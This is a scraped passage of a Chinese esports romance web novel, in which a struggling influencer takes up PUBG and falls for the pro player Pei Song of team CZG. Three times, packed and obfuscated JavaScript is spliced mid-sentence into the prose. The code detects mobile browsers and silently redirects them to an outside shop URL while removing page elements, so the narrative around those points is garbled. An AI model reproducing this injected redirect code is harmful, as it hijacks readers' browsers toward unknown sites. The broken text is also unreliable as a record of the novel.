两人都是个人账号小有起色时被同一家MCN公司接洽过,结果俩人都没看上这家公司。 虽然工作没着落,但因为都在上海,一来二去成了好友。 尤其是从秦南枝的发小兼闺蜜赵若月创业创没了人影之后,七七糖就成了她互联网上唯一能倒苦水的树洞。 这次蹭吃鸡主播的热度,也是七七糖给支得招。 “泡芙,难道你真要跟Zero1一决高下啊?” “当然了!” 秦南枝攥了攥拳头,还沉浸在壮志未酬的抱负里,浑身都是力气没处使。 七七糖劝她:“Zero1再不济,也是半只脚踏进职业圈的,你这上去不是送人头嘛?要不……我找朋友牵个线,你们和解算了?他肯定不会为难你这么可爱的女孩子的。” 七七糖是个留学归来家里蹲的拆卡主播,为人最佛,按她的说法,只要不创业,钱就是花不完的。 秦南枝只恨自己没早点跟七七糖认识,开什么劳什子甜品店,八十万的启动资金加三十万的房租,她买包不香吗? 更重要的是,赵若月这个不要脸的女人创业还成功了,成了什么潮牌主理人,网店在同类型里年销售额能排前五,实体店都开了五家,这让她逢年过节双方父母见面的时候脸往哪搁? 从小到大,她跟赵若月处处被家长比较,她凭嘴甜长得乖,稳稳压过高冷范儿的赵若月一头。 要不是赵若月创业成功,她至于一门心思想搞点名堂出来吗? 但军令状已经立下了,临阵脱逃亦不是她秦南枝的作风。 本来秦南枝就没从晕3D的恶心里缓过来,瘫在床上躺尸,这会儿联想起自己脑子进水做的投资,午饭更是半点胃口都没有。 她气若游丝对着手机嚎:“和解?我的人生字典里没有认输两个字。” 比赛不认输,创业也不认输。 她们女人就是什么都要! 其实甜品店的投资失败对她而言不算大事,一百万连赵若月半辆车都买不到,但秦南枝心里就是憋着一口气。 甜品店创业未半黄了以后,秦聪和南红玉还特意喊她回家,告诉她胜败乃兵家常事,让她别放在心上。 可她是多要面子的人,当初信誓旦旦在秦聪面前保证,不光下一次的创业启动资金一定是她自己挣来的,就连生活费也不用家里补贴,副卡都还回去了。 想起自己在爹妈面前打肿脸充胖子的光辉事迹,秦南枝更想地球毁灭了。 现在认输,脸往哪搁? 手机突然弹出消息,秦南枝点开一看,交物业费的通知赫然出现在她眼前。 “啊——绝不认输!”银行卡余额迫使秦南枝重新提起勇气,她从床上弹起来:“七七,下午我们出去逛街散散心,顺便让我想想该怎么提升我的枪法。” 联想到自己少得可怜的银行卡余额,秦南枝给微信置顶的对话框发去消息。 枝枝喳喳:赵若月,你最好的闺蜜命令你下午出来陪我散心,顺便结账,否则我们的友情就此结束! 赵若月:【转账5200元】 枝枝喳喳:月月,你知道的,我们永远是最好的朋友。 赵若月:退下吧。 枝枝喳喳:嗻。 。 上午的小插曲让CZG几个人吃瓜吃嗨了,直到训练室外响起脚步声,几人才依依不舍收起嬉皮笑脸,各回各的位置坐下。 临近下午一点,训练室终于坐满了人。 一般俱乐部大多是四人队加两个替补,抠一点的甚至只有一个替补,替补出问题还要靠教练顶上。 CZG除了工资称得上一流,俱乐部其他配置则是抠中之抠,别看住得也是上海繁华区的别墅,里面活脱脱一个低配版大学宿舍。 最好的宿舍才是双人间,大多数都是四人间,食堂更是出了名的减肥训练营。 就连替补果汁,都是老板承朋友人情接手的,简而言之——白送。 不算太大的屋子里,五名队员坐在电脑前,外加一个教练一个助教,还有个干瞪眼的经理,光主机的传出来的热量加噪音就让人叫苦不迭。 “能不能修修空调?这劲儿还不如我奶扇扇子呢!”教练陈令飞一进门嘴上就叼着半截烟,烟灰簌簌往下掉,他径直走到空调前面,把出风口掰向自己。 经理阿杜抱着一叠洗过的新队服小跑着跟进来,汗珠顺着他圆胖的脸颊滚落。 阿杜一边给大家分衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889185|192159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一边让他少埋怨两句。 “忍忍吧,上个月报修的三楼浴室漏水,到现在还滴滴答答没人修呢。”他抹了把脖子上的汗:“等会儿我见着商务部的跟他们说说,求他们下次接个小家电的广告,让赞助商送两台新的来。” 连续两年的中国区冠军混成这样,阿杜都想骂人,他们老板到底是怎么想的? 生活上对标封闭式高中,管理上对标高中宿舍,难道怕这群小孩儿学坏,真打算把俱乐部管理成高中了?下一步是不是还要给这群人颁发大学文凭? 这样做也不是没好处,小孩儿们除了打游戏就是点外卖,钱都没处花,果汁才进来一年,就攒够老家房子首付了。 陈令飞站在空调风口前,半眯着眼,像是在思索下午的战术安排。 突然,他一拍空调外机,巨大的动静引得所有人侧目。 “都滚过来。” 众人默默推着椅子往中间走,助教连忙将角落里的白板推到他身后,白板上还残留着上次赛后的数据分析。 “不用。”陈令飞示意助教把白板推走,自己则夺过助教手里的一叠a4纸,下一秒,a4纸跟天女散花似的,劈头盖脸砸向众人。 几人捡东西的捡东西,躲伤害的躲伤害,东倒西斜,场面十分混乱。 裴颂趁乱捡起一张,上面是秋季赛的分组情况和赛程,他们和NKG一组。 NKG在PCL夺冠那年,CZG拿了个第二,陈令飞就是当年的选手。 可以说仇人见面分外眼红。 陈令飞捏着烟头往地上一扔,鞋底狠狠碾了两下,身子后倒,胳膊搭在椅背上,看着眼前的闹剧,不合时宜笑出了声。 “PUBG如今风光了,看着大主播小主播一个个挣得盆满钵满,有些人心思就活了,光顾着舔粉丝接广告,比赛就当他妈笑话了?我倒想问问你,你自己打成什么样自己心里清楚吗?” 他停顿几秒,屋内一片死寂,只有主机的风扇声呼呼作响。 陈令飞喉结一滚:“我最后说一遍,能干就干、干不了赶紧滚,拿了两年国内冠军就让你飘了?再给老子拿这个成绩,季后赛都进不去,闹呢?” 他伸出手指,阎王点卯似的挨个戳了一圈:“下午比赛谁不给我好好打,以后比赛期间就别想出门,我搞封闭式训练,让你们全给我重温高中生活。散会,赶紧滚。” 阿杜还嫌不够乱,赶紧跟了一句:“都回去把头发给我洗了,胡子刮一刮,千万不能再让赞助商投诉!” “飞哥。”助教怯生生插话:“不安排一下下午的战术吗?” 陈令飞呸了一声:“都给我滚。等等——”他突然想起了什么,指着角落:“裴颂留下。” 训练室地上还有几张没来得及捡起的a4纸,方才的争吵仿若还被闷在夏日的炎热空气里散不出去。 空调外机徒劳地嗡鸣着,没人说话,主机风扇的噪音显得格外清晰。 把人留下来后,陈令飞反而不知道说什么了。 两人互相盯着瞧了一会儿,谁也没先开口,像是在进行一场无声的角力。 最终,还是陈令飞打破了僵局。 他往前踱了一步:“之前跟你聊让你转指挥,你考虑得怎么样了?” 5. 枝枝喳喳 裴颂眨了下眼,但目光仍是散的,没有焦点,声音平淡得毫无起伏:“没考虑。” 陈令飞眉头皱起,显然对裴颂的回答很不满意。 “你当我小学老师哄孩子呢?裴颂。” 陈令飞向前一步,沉了沉语气:“都是打突击位,你比小艾那个莽夫有脑子、有能力、也有这个责任去分担。现在萧齐年纪大了跟不上节奏,你迟早要把指挥接过来。” 裴颂双手插在队服外套口袋里,黑白配色的队服衬得他脸色如冰雪、眉眼似墨痕,是最极致的水墨山水。 拉链被他拉至最高,挡住了一小截下巴。 “再说。” 裴颂转身朝外走去。 陈令飞最受不了他这副软硬不吃的模样,冲他背影吼道:“你别以为我不知道你在想什么!说说说,说个屁!你得学!不能总是闷头打自己的。” 裴颂停住脚步,回头,视线移回陈令飞脸上,但那双眼睛里依然是明晃晃的毫不退让。 “学不了,”他吐出三个字,顿了一下,声音更低也更沉:“没空。” 从训练室出去,走到楼梯口,一转过弯,便撞上了坐在台阶上抽烟的Seven。 “那啥,来一根?”Seven一边说,一边在口袋里摸索,指尖夹着的烟头明明灭灭,眼神却时不时瞟向裴颂。 裴颂站在楼梯下方,双手还插在口袋里,没打算接。 明明屋里热的要死,这人却总像外套焊死在身上一样,到了比赛现场也不肯脱。 怪人。 作为队里的老大哥Seven想起三年前青训营初见,这是他见到尚不满十七岁的裴颂时的第一印象。 一转眼三年过去,变了,也没变,裴颂骨子里还是个十成十的怪人。 烟盒在掌心捏得变形,Seven干笑两声点起新烟:“飞哥留你是不有新安排?” 不等裴颂回应,他自嘲地笑了笑:“我现在是跟不上节奏了,要不我申请跟十一换换,我去打辅助算了。” “不用。”裴颂抬脚迈上楼梯,跟Seven擦肩而过,继续往上走。 淡漠的声线像流淌的雪水,从头顶上方倾泻下来。 “跟他说了没空,让他少放心思在我身上。”裴颂回头看他:“你打你的。” 心思被人毫不留情戳破,Seven动作一滞,有些尴尬地站起身,踩灭烟头,两步并作一步,追上裴颂的脚步。 “那什么,小裴,咱爷爷身体怎么样?家里都还好吧?” 提及爷爷,裴颂表情终于不再紧绷,他微微颔首:“挺好的,上次手术回去都能下地里干活了,钱的事……谢谢了。” 听他一口气说了这么一长串话,Seven还有些不适应,他抿了抿嘴唇,挤出抹笑:“没事,都是兄弟。” 下午三点,俱乐部大巴停在了别墅区门口。 裴颂背着包最后一个上车。 见到他,阿杜拍了拍身旁的座位,让他挨着自己坐下,关切问道:“热不热?要不要把外套脱了?” 想到网上的传言,阿杜捂着肚子笑道:“别整天穿着外套,你知道你粉丝说我们CZG是pubg缅甸,陈令飞有暴力倾向,天天把他们哥哥关俱乐部就算了,成绩不好还上强度。” “无聊……”裴颂乜他一眼。 身下的座椅被人踢了一脚,一条手臂从两个座椅间的缝隙伸了出来。 小艾举着手机,语气里全是羡慕和嫉妒:“十一这龟儿子运气真好,你看看,今天跟他打游戏那个小姐姐妥妥白富美。” 他越说越来劲:“啧啧啧,凭什么啊!十一,快问妹妹要个微信!” 十一:“想屁吃,谁跟你一样看见美女走不动路。” 小艾举起拳头:“嘿,你小子怎么说话呢?哥哥这叫不让妹妹流泪。” 阿杜瞅了几眼,赞同小艾的说法:“是挺漂亮,太难得了,这游戏里遇见的居然不是变声器人妖。十一,你这个运气不错,今天让你选跳点啊!” “啊?”十一愕然:“我都不信我自己,我再落地死两把,就超过泡泡成PCL史上落地成盒最多的选手了。” “你不说我还以为你跟裴颂商量好开局献祭队友呢。”阿杜把手机往裴颂身边倾斜:“你瞧瞧,笑起来像石原里美。” 裴颂没搭理他,一副与世无争的冷淡模样,自顾自从背包里取出降噪耳机戴上,闭上双眼养精蓄锐,薄唇一张一合,冷冷吐出两个字: “无聊。” 。 待秦南枝收拾完、蹬着高跟鞋挎着小香出门,夕阳都露头了。 七七糖给的碰头地址不算太偏,打车半个多小时的距离,是家口碑不错的火锅店新店,但不知为何,她选的这家并不是距离两人最近的。 难道是环境好?秦南枝表示理解,都是年轻女孩,出片需求也不可忽视。 一上车她就让司机关了音乐,手机里正在播放Zero1的新手教学视频。 不得不说,Zero1一张嘴虽然损了点,但是干货教程上手性很强,半毛钱废话没有。 经他视频一点拨,秦南枝觉得自己似乎、好像、貌似、应该是开窍了。 无知者无畏正好对应她如今的境况,当对自己的水平有了清晰认知后,秦南枝必须承认,她的描边操作想跟Zero1正面抗衡无异于天方夜谭。 大逃杀类的游戏,本质上还是枪法和运营思路的较量,她要枪法没枪法,要运营没运营。 跳出游戏去思考操作,秦南枝根本笑不出来。 在距离目的地不到两公里的地方,路况变得糟糕起来。 秦南枝坐在网约车后排,闻着车厢里不大清新的空气,抬手落下窗户,同时嘴角也耷拉了下去。 她都舍不得点商务车了,要让她妈知道她如今过这种苦日子,不得泪水打湿四件套? 秦南枝在心底赞扬了一番自己的艰苦创业精神,精心打理的发丝缠在指尖,想起来便拨弄两下。 视线飘向望向远处天际线橙红色靛蓝色交织的夕阳,往下看,是一间造型奇怪的场馆,说是会展中心显得有些小,说是办公大厦,又有点不太正经。 堵车的源头正是场馆四周密集的人流和停靠在一起的大巴。 司机没跟秦南枝商量便靠边停下:“美女,离你定位的火锅店就剩下五百米了,劳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889186|192159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烦您走两步?我进去不好进,掉头出来更费劲。” 秦南枝怕冷怕热还不喜欢晒太阳,自然不乐意自己走这一截子路,小嘴立刻扁了下去。 司机降下玻璃,指了指不远处突然躁动起来的人群:“美女你瞧,你来晚了,选手已经开始比赛了。” 司机一副过来人的口气:“你听我说,别去火锅店,别看火锅店在二楼,其实什么也看不见。你从这儿下车,顺着小路走到咖啡店,那里是员工通道,他们比赛间隙出来放风都在那儿扎堆儿。” 秦南枝被欢呼声吸引走注意力,对司机的话没太放在心上,她恍惚了一瞬:“比赛?什么比赛?” 司机回头看了她一眼:“你不是来看pubg选手的吗?今天Winter、Song、阿K都在啊。” 最终秦南枝还是下车走了几步,进到火锅店时,额头已经沁出一层薄汗。 她一边拿纸巾轻轻带走额角的汗水,一边跟七七糖抱怨:“你怎么选了这个地方啊,原来旁边就是pubg线下比赛的电竞中心。” 七七糖帮她举着粉饼镜子,笑道:“这不是给你蹭蹭喜气,全中国枪法最准的都在这儿了,你可是跟他们呼吸着同一片空气。” “我跟他们还是同住地球村的人类呢!”秦南枝扔掉纸巾,端起冰水抿了一小口,火气才消下去一点,端着粉饼仔仔细细补掉粉的鼻翼嘴角。 “坏了!”七七糖一拍手,拿起手机开始翻相册。 “怎么?”秦南枝被吓得口红差点涂脸上,她收起化妆品,双手托腮,声音蔫蔫的:“是不是觉得应该问你哥要个工作证,带我去大闹比赛现场?” 她记得七七糖表哥手里有好几家电竞俱乐部的股份,具体哪些……她忘了。 “去现场?你是想抽二手烟还是捡槟榔渣?”七七糖翻出一张某个别墅区大门的照片:“我应该带你去CZG基地的,他们拿了两年的全国冠军,我们也不是什么喜气都沾,沾就要沾最顶级的!” 七七糖说完还握了握拳,活脱脱一个孩子成绩不好、高考前恨不得包下孔庙磕响头的疯癫家长。 “省省吧。”秦南枝招招手,让服务员递上菜单。 游戏打得菜怎么了?钱总不会是假的。 上午那一遭闹剧下来,秦南枝零零散散涨了将近三千关注,这都是白花花的银子。 她怎么会跟钱过不去呢? 至于比赛……还有三个月的时间,走一步算一步吧。 七七糖看她脸上没了笑,也打消继续开玩笑的心思:“我觉得你现在最重要的是找个大神带你。” “带我?”秦南枝问:“什么意思?教我打游戏吗?” “对,你想呀。”七七糖掰着手指头替她数好处:“第一,有人陪你不无聊,第二,帮你尽快上手,摆脱小白困境,第三,关键时刻还能代打。” 七七糖冲她眨眨眼,露出一个“你懂的”的眼神。 原来如此,秦南枝压低声音:“你不是说这游戏代打开挂当场开除人籍吗?” “啧,瞧你脑子怎么转不过弯了?”七七糖两个大拇指相对,勾了勾:“男朋友帮女朋友出气,算什么作弊?” 6. 枝枝喳喳 饭吃到一半,秦南枝喊赵若月过来一起喝酒。 三个女的凑一起,从新款包包聊到上月塌房的男明星。互相搀扶着从酒吧出来的时候,秦南枝看了眼手机,0点刚过。 赵若月看她在打车软件里切换着商务车、豪华车、特惠快车的价钱,忍不住夺走秦南枝的手机:“救命,你不会沦落到卖包度日了吧?” “还不是你!”秦南枝凶她:“要不是你搞什么事业女强人,我至于非要创业吗?你还做得那么成功……” 尤其是赵若月最近跟个人气rapper打得火热,出的联名款全卖断货了。 气死她了! 七七糖说她家里有人来接,可以顺路送她,本着能省一点是一点,秦南枝痛快答应。 喝了酒以后音量控制不住,好像把什么声控灯喊亮了,秦南枝迷迷糊糊往光源的方向瞧,灯也在朝她靠近。 她们是从酒吧侧门出来的,需要穿过一条狭窄黝黑的小路,才能到达打车点。 几人都穿了高跟鞋,这会儿跟踩在刀尖似的,宁愿担惊受怕走小路也不想绕路。 冷不丁看见黑暗里的一点光源,吓得秦南枝浑身鸡皮疙瘩都起来了。 难不成有鬼? 那晃动的光源越来越近,秦南枝眯着醉眼,几乎要把赵若月的胳膊掐出红印。 “鬼、鬼还会发光?”她嘟囔着往赵若月身后缩,却见光晕里推出一辆清洁车,原来是保洁阿姨开着工作灯在收垃圾。 虚惊一场。 秦南枝松了手正要笑自己脑补太多,余光瞥见清洁车后闪过一道修长身影。 昏暗的灯光将那人侧脸镀出一道利落的剪影,微塌的黑发半掩眉骨,鼻梁陡直地切断光影。 两人擦肩的刹那,他忽而侧目。 秦南枝呼吸一滞。 鬼……鬼也卡颜? 。 “最后那把是我的锅,要是我注意到屁股后面有人摸过来,也不至于被人一锅端了。” 十一是队里年龄最小的,从进队就开始打四号位。 游戏这东西,打得好大家都好,打不好就是各家粉丝扯皮,你家枪法不行,你家运营意识差,你哥哥吸全队的血。 今天比赛陈令飞直接蹲基地没来,阿杜只能又当爹又当妈给他们做心理辅导。 “这有什么呀,这才是秋季赛第一天,咱们积分第三。”阿杜掰着手指头算了算,没算明白:“一天打六把,时间还早着呢,别慌。” 阿杜拍了拍胸口:“哥给你保证,陈令飞那个喷子敢骂人,哥给你骂回去。裴颂,裴颂你说两句。” 裴颂坐在包厢最靠里的角落,头顶光线仅勾勒出他半张脸的轮廓。 处在男人和男孩交界处的年纪,线条清晰利落却不突兀,肤色在室内光线下显得有些过分的冷白,跟块玉似的。 柔软的黑发被耳机被耳机压塌了一些,弧度恰好遮挡住眉骨,让那双低垂的眼眸更显难测。 他手里捏着一瓶椰奶,小口小口地啜饮着,面前的筷子还没拆开,碗碟如同摆设。 果汁看他光喝椰奶,把自己的也递了过去。 “我说?我说什么?”裴颂抬眼扫了一圈,又沉默地低下头喝椰奶。 “还是我没注意,都到最后一把了,就想着吃把鸡,又跟NKG撞脸,一着急我就把屁股给看漏了。”说着,十一都要掉泪了,他吸了吸鼻涕:“我不怕飞哥喷我,飞哥骂我我都习惯了。也不知道网上该怎么喷我,上次连我初中谈的前女友微博都扒出来了,还说人跟我分手眼光真好,肯定有更光明的未来。” “还能怎么骂?四条屈~”Seven那可是枪林弹雨中被喷过且毫发无伤的,至今虎扑评分不超2.5。 “都别说了。”阿杜捶他后背一拳,就烦他火上浇油。 阿杜接了司机电话后,转头招呼着大家赶紧吃饭,特地指着裴颂:“裴颂你多吃两口,回去王阿姨肯定没给留宵夜。” 火锅店离场馆很近,又是24小时营业。 比赛一结束,几乎所有队伍全涌进来,外面粉丝的欢呼声引得裴颂眉头下意识锁紧。 阿杜中间溜出去一圈,回来后脸色难看:“外头人也太多了,好多粉丝在门口堵着呢,怎么那么多女孩?” 小艾说他少见多怪:“羡慕吧?江湖流传Song的女粉质量全区最高。” “我从这里走。”裴颂没接他们俩的话,陡然起身,径直朝窗户走去,在窗边站定。 小艾顺着看过去,他身后是包厢的窗户,讶异道:“不是吧大哥,女粉又不是洪水猛兽,没必要翻墙吧?” 他话没说完,裴颂单手撑着窗台,轻快一跃,人就从屋里消失了。 阿杜心脏差点儿从嗓子眼儿蹦出来:“小裴——!” 裴颂在露台上稳稳落下,一招手:“走了。” 阿杜瘫软倒在凳子上,捂着心口喘粗气:“你们什么时候能让我省点心?” 。 九月份的上海,夜风卸下了白日的喧嚣燥热,爵士酒吧的轻音乐回荡在狭窄的巷子中。 裴颂看了眼手机导航,确定穿过巷子就是位于电竞中心后门的停车场。 远超常人的耳力让他刚走进巷子,便捕捉到了前方细碎而清晰的回响。 晚风送来的,除了残余的桂花香,还有一丝若有似无的酒味。 他脚步微顿,循声望去。 巷子深处,三个高低错落的身影被路灯拉得很长,混杂着含糊不清的低语和短促的嬉笑,在寂静的巷弄里显得格外突兀。 裴颂的目光在那略显狼狈的影子上停留了片刻,缓了缓脚步,等身后的三轮车赶上来,直到车灯的光能完全笼罩住他。 一人一车并排而行。 擦肩而过的瞬间,他听到有人压抑不住的尖叫声。 在秦南枝朦胧的视野里,那双眼深邃得像寒潭,睫毛垂落的阴影淹没了所有情绪。 可不过半秒,眼前的男生已收回视线拐进巷子深处,只剩衣角掀起一阵裹着椰子味的风。 “卧槽!是Song啊——”七七糖的尖叫炸醒秦南枝,也牵绊住裴颂离开的脚步。 七七糖踩着高跟鞋追过去:“裴神等我!给签个名吧!” 裴颂缓慢地将目光挪到一旁三个眼神迷离的女酒鬼身上,迟疑片刻,点了点头。 “签哪?” “签、签、签……”七七糖在包里找了半天才找到一根唇线笔,至于签在哪…… “签我手机壳背面吧!”七七糖试探问了一嘴。 “可以。”裴颂神情略有些疲惫,强压下一个哈欠,眼底染上些许水汽。 七七糖满心欢喜翻转手机,结果发现自己今天用的是个粘满水钻的浮华款。 她将秦南枝拉到自己身边,往前一推:“裴神,我闺蜜可喜欢你了!你签她手机壳上跟签我的是一样的。” 秦南枝的手机壳就这样被充公了。 眼下,秦南枝头脑不清醒,仰起脸看裴颂签名,好一会儿才眨一下眼睛。 裴神?哪个裴神? 那个跟她打游戏,被她苦心劝导去打职业的路人王? 遭受酒精余毒的大脑变得迟钝,话不加思考便脱口而出:“你就是裴颂?” 裴颂被秦南枝没头没尾的一句话说得紧了紧眉心,他慢慢掀起眼皮,探究 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889187|192159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的目光从这位行为怪异的女粉丝脸上掠过。 女孩浑身透露着明晃晃的甜美,眼下却跟醉猫一样,张牙舞爪。 他得罪过她?应该没有。 男生个子很高,秦南枝抬头看他有些费力,垂眸签名的时候嘴唇微抿,是认真的模样。 却只短暂看了她一眼便收回视线。 这让秦南枝很不高兴。 “你为什么不看我?你觉得我长得不好看?” “我的姑奶奶,你说什么呢!”七七糖偷掐了她一把:“喝完酒少说两句。” 秦南枝思维有些发散,眼神定定看着裴颂的嘴唇,微小的弧度稍纵即逝。 他笑了?秦南枝眨了眨眼,想确定是不是自己看花了眼。 嘴唇颜色淡淡的,看起来很薄很软的样子,亲起来不知道是什么滋味。 秦南枝脸腾一下红透了,她想什么呢! “好了。”手机被还给七七糖,裴颂没在意一个醉鬼说什么。 他转身走向后方的大巴车。 “够不够惊喜?”七七糖拿手肘撞了一下秦南枝的侧腰。 秦南枝将视线从早已消失的背影上收回,揉了两把被掐疼的腰间肉,嘀咕了一句:“不是说唱才是男人最好的医美吗?电竞也行?” 。 秦南枝回到家都一点半了,本来困得眼皮打架,洗了个澡之后反而精神十足,酒也醒了大半。 她换了睡衣蜷缩在沙发里,捏着手机,一双圆润的眼睛一动不动盯着手机壳背面那个龙飞凤舞的签名——正中央占据大部分面积的是ID“Song”,右下角则是稍小的“裴颂”二字。 不过6个字或字母,笔画气势叫人仿佛透过几个字的走势看出字主人的品性。 “人长得好,字写得也不错,游戏打得还那么好。”一眼被圈粉的秦南枝粉丝滤镜拉满,两根手指捏着手机壳的边框,生怕弄花了不牢靠的唇线笔签名。 回忆起巷子里那张晦暗不明的侧脸,一颗心还在扑通扑通跳。 她打开微博,切换上自己八百年没登陆过的小号,搜索起有关裴颂的消息。 先关注了裴颂的微博账号,将近两百万粉丝,没有一条活人微博,不是转发俱乐部新闻,就是转发官方赛事,人如机。 又点开最热门的帖子,一条一条看下去。 夸他是天才的不少,喷他名不副实也多。 裴颂身上最大的争议无非是成绩,因为不可抗力,官方已经连续两年没举办过pubg世界赛了,好多人不认可中国区冠军的含金量。 可秦南枝一点不在乎,同水平里,哥哥靠脸能秒杀各路选手,她是哥哥的颜粉好吗? 再说了,她最关心的当然是那些犄角旮旯的八卦,比如说……哥哥现在有没有女朋友啊? 而粉圈的力量也没有令她失望,强大无比的粉丝连裴颂老家在哪、小学毕业照都扒出来了。 秦南枝瞅了一会,不禁感慨,哥哥真是集美强惨于一身的天选小言男主。 简而言之,爹不疼、娘不爱、家里穷、爷生病。 但裴颂没让任何人失望,读书时成绩名列前茅,走上职业道路后,不抽烟、不喝酒、不私联粉丝,专心职业赛场,是人人称赞的三好选手。 就连虎扑这种雁过拔毛的地方,老哥们也只能捏着没拿过世界冠军这一条黑她老公。 另一件小插曲更让她兴奋,她秦南枝居然无意间跟老公打过友谊赛,虽然过程不怎么美好,四舍五入怎么不算谈了呢? 都怪七七糖,早点告诉她裴颂长这么帅,她何苦走那么多弯路当什么ASMR主播! 她努努力当嫂子算了! 7. 枝枝喳喳 秦南枝看得正来劲,一条黑帖就被推送到她眼皮底下。 说是黑贴也不恰当,一群十来岁就打职业的选手,谁有功夫考大学啊?黑学历是电竞圈最无力的呻/吟。 据一个自称裴颂高中同学的人爆料,裴颂高中成绩还不错,起初有俱乐部接触他还被拒绝了,没想到高考前夕会选择辍学走职业化道路。 那人还感慨,还好裴颂打出成绩了,但电竞选手都是吃青春饭,谁知道能吃几年?等裴颂被职业淘汰,连个大学学历都没有,还能去干什么呢? “切,酸死了。”秦南枝歪了歪嘴,自言自语:“当主播、当教练、当陪玩,哪条路都争着要他好吗?” 她给裴颂这位高中同学定性为“吃不到葡萄说葡萄酸”,看起来字里行间都是担心,实则在暗戳戳秀自己考上大学的优越感。 好在粉丝跟秦南枝的想法一样,都说这位好心同学咸吃萝卜淡操心,不谈年薪,裴颂这种明星选手身上挂了多少广告赞助他知道吗? 秦南枝附和着吐槽了两句,点进去这人主页一看。 呵,巧了,还是大学校友。 “啊呸,为母校出了你这么一个酸菜精感到羞耻!”秦南枝利落拉黑此人,顺手将帖子转评赞一条龙,噔噔噔敲下——老公好帅/星星眼。 又点进超话欣赏了一会儿裴颂粉丝今天下午的返图,黑白色系新队服更衬他哎! 几秒钟后,她起身奔向自己的梳妆台。 粉紫色磨砂的手机壳被归置到一堆高价香水里,秦南枝左看右看,调整了几瓶香水的位置,这样手机壳就站到了C位。 她十分满意,然后拍了张照,p了p滤镜才发到闺蜜群里,配文:我宣布——从今天开始裴颂就是我正牌老公了。 赵若月:我没记错你俩今天才认识的,对吧? 。 前一天回基地都快两点了,十一订了个中午十二点的闹钟差点儿没爬起来。 不料,他刚推开训练室的门,就瞧见裴颂坐在电脑前单人四排,手指在键盘上翻飞。 右手边扔着一条吃剩下的香蕉皮,桌子靠里的地方还放着一小碗红提。 不用想,肯定是王阿姨给准备的。 他走近一看,香蕉皮都氧化发黑了。 “哥,你几点起的啊?”十一也不用裴颂回答,自己挠了挠头打开电脑。 要知道裴颂以前可是从来不加训的,现在一大早爬起来训练是为了什么? 不还是因为他太菜了,全靠队友带。 十一心里过意不去,咬了咬牙打开昨天晚上比赛的录播,看自己的操作失误和网友的冷嘲热讽。 等裴颂一局结束,准备再开一把时,十一的心理防线也近乎被全面击破。 他关掉视频,喊住裴颂:“哥,咱俩打四排呗?” 裴颂垂着眼,正在拧矿泉水瓶,动作顿了一下,也没抬眼看他:“好。” 。 秦南枝第二天睡醒后,趁热打铁上传了好几个闲暇时做甜品的视频库存。 她算了算,从昨天到现在,不到24小时居然涨了五千多粉丝,私信里还有家外设厂商找她打广告。 难道大家都发现了她的天赋吗? 果然,她在电竞这条路上的潜力跟裴颂有得一拼,他们就是天造地设的一对佳偶! 商单秦南枝不陌生,以前做情景模拟ASMR时,接触了好多餐具、小家电厂商,能挣到钱全靠广告费。 秦南枝回复厂家的同时,问七七糖要了一家调试直播设备工作室的联系方式。 迈出直播这一步,对秦南枝而言心理压力不算小。 但一想到跟体温计读数差不多的银行卡余额,那点微不足道的羞耻心顷刻间消散。 挣钱有什么不好意思的!听她爸爸说,她们老家村支书都开始在网上擦边助农了。 上传视频有播放量分成收益,直播还有粉丝刷礼物,再加上时不时接一接广告…… 秦南枝笑得合不拢嘴,最多一年,她就能积攒一小笔启动资金,重新选址把甜品店开起来了! 秦南枝欢欢喜喜将简介加上“PUBG特种兵训练100天倒计时”。 最要紧的当然是提升游戏水平,只有和PUBG强行绑定,才能增加她身上的标签符号,在竞争激烈的ASMR圈获得关注。 她从通讯录调出七七糖之前介绍的陪玩店,找到客服,让客服介绍一个技术过硬的陪玩。 客服问她具体要求。 秦南枝脑子里跟早就组织好似的,啪啪啪打字:青年腔,不要低音炮、不要气泡音,不要话多,技术过硬。 打下这些要求后,秦南枝愣住了,这不就是她老公? 吃过好的就很难接受平替了,她不冷不热回应了陪玩几句,态度便冷了下来。 秦南枝在虎扑还吃到了另一个瓜。 据说,先前有个财大气粗的富姐,家里真有矿,对裴颂那叫一个势在必得。 这位姐的操作堪称简单粗暴,直接跑车堵到基地门口,架势活像来收购俱乐部的。 对着裴颂开价一个小时一万,让他带她打游戏。 秦南枝看到这里简直要笑出声,她老公能是为区区铜臭折腰的人吗? 裴颂的无情拒绝,导致到现在这姐还是裴颂赫赫有名的黑粉头子。 但凡有裴颂的地方,总能看见她或者她同ip的小号上蹿下跳挑刺、翻旧账、唱衰。 秦南枝笑了会儿便笑不出来了,漂亮和有钱都不能打动老公,那裴颂喜欢什么样的呢? 心地善良、爱好和平?她昨天一个人都没杀,算不算热爱和平? 